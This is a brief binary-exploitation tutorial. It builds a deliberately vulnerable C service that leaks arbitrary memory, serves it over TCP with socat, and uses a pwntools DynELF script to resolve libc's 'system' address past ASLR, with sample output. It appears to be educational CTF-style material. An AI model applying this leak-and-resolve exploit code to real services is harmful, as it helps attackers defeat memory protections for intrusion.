Sometimes you are able to exploit a binary, but it has ASLR and you don't know where to find system. With a memory leak (that you can do more than once), it is possible to figure this out using the GOT/PLT entries that the ELF linker uses without having a plethora of copies of glibc lying around.
The pwntools library https://pwntools.readthedocs.org/en/2.2/ makes this pretty straight forward.
First, I'll show C code for a simple service that leaks memory:
#include <stdio.h>
main()
{
int x;
printf("Info leak service!\n");
fflush(stdout);
while(!feof(stdin)) {
scanf("%x",&x);
write(1,x,4);
fflush(stdout);
}
}
Next, we'll run this as a network service on port 2048:
socat TCP-LISTEN:2048,reuseaddr,fork EXEC:./mccservice
Now we'll use pwntools to find system. We do provide one address from the program as a starting point.
from pwnlib import *
from struct import *
main = 0x080484ed
def leak(address):
print "leaking " + hex(address)
r.send(format(address,'x')+'\n')
try:
value = r.recvn(4)
print "returning "+hex(ord(value[0]))+hex(ord(value[1]))+hex(ord(value[2]))+hex(ord(value[3]))
print "returning "+str(value)
return value
except:
return None
r = tubes.remote.remote('localhost',2048)
prompt = r.recvuntil('\n',drop=True)
d = dynelf.DynELF(leak,main)
#print d.lookup(None, 'libc')
print d.lookup('system','libc')
r.close()
You'll get a number of messages-- the ones from pwntools have "Resolving" and look like:
[*] Resolving 'system' in 'libc.so':
[*] Resolving 'system' in 'libc.so': Finding linkmap
[+] Resolving 'system' in 'libc.so': 0xf7782938
[+] Resolving 'system' in 'libc.so': 0xf75dac40